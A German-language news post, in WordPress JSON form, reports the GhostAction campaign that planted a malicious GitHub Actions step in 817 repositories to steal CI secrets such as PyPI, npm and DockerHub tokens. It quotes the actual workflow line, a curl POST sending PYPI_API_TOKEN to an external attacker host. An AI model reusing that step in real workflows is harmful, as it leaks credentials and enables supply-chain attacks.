{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Im Laufe des GhostAction-Angriffs wurden 817 Repositories auf GitHub kompromittiert.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Forscher von GitGuardian haben einen massiven Angriff auf GitHub-Nutzer entdeckt, bei dem die Kontrolle \u00fcber 327 Konten erlangt und ein b\u00f6sartiger Handler f\u00fcr GitHub Actions in 817 Repositories eingebaut wurde. Dieser Angriff f\u00fchrte zur Offenlegung von 3325 Geheimnissen, die in Continuous Integration-Systemen verwendet und \u00fcber Umgebungsvariablen \u00fcbermittelt wurden, darunter Zugangstokens f\u00fcr PyPI, GitHub, NPM, DockerHub und verschiedene Cloud-Speicher.
<\/center> <\/p>\n
GitHub Actions erm\u00f6glicht Entwicklern, Code-Handler f\u00fcr die Automatisierung verschiedener Vorg\u00e4nge in GitHub anzuh\u00e4ngen. So k\u00f6nnen beispielsweise mit GitHub Actions bestimmte Pr\u00fcfungen und Tests beim Durchf\u00fchren von Commits durchgef\u00fchrt oder die Verarbeitung neuer Issues automatisiert werden. Ein sch\u00e4dlicher Handler wurde unter dem Namen «Github Actions Security» verbreitet und beinhaltete im Abschnitt «run» den Befehl «curl», der den Inhalt von Umgebungsvariablen an einen externen Host sendete, wenn Aufgaben in einer Continuous Integration-Umgebung ausgef\u00fchrt wurden. Der sch\u00e4dliche Commit wurde von Konten der Projekt-Maintainer hinzugef\u00fcgt, die wahrscheinlich zuvor gehackt oder Ziel von Phishing-Angriffen geworden waren. <\/p>\n
Der Angriff wurde nach der Analyse anomaler Aktivit\u00e4ten im Zusammenhang mit dem Paket FastUUID identifiziert, das ein Python-Binding f\u00fcr die Rust-Bibliothek UUID bereitstellt. Das Paket FastUUID, das in der letzten Woche fast 1,2 Millionen Downloads verzeichnete, wird als Abh\u00e4ngigkeit im beliebten Projekt LiteLLM verwendet, das w\u00f6chentlich \u00fcber 5 Millionen Downloads in PyPI hat. Die Analyse der \u00c4nderungen im Repository von FastUUID zeigte, dass der Maintainer des Projekts am 2. September einen Commit mit einem neuen GitHub Action-Handler hinzugef\u00fcgt hatte, der Code zum Senden des Tokens an das PyPI-Repository an einen externen Host enthielt. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Das Problem konnte identifiziert werden, bevor die Angreifer den abgefangenen Token ausnutzen konnten \u2014 die Ver\u00f6ffentlichung sch\u00e4dlicher \u00c4nderungen oder modifizierter Versionen des Pakets in PyPI f\u00fcr FastUUID wurde nicht festgestellt. \u00c4hnliche Injektionen von GitHub Action wurden in weiteren 816 Repositories identifiziert, und die Eigent\u00fcmer sowie die Verwaltung von PyPI, GitHub, NPM und DockerHub erhielten Benachrichtigungen. Stand gestern Abend wurden sch\u00e4dliche Commits in etwa 100 Repositories zur\u00fcckgesetzt. Derzeit werden 671 Commits mit sch\u00e4dlichem GitHub Action bei einer Suche in GitHub identifiziert. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Im](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n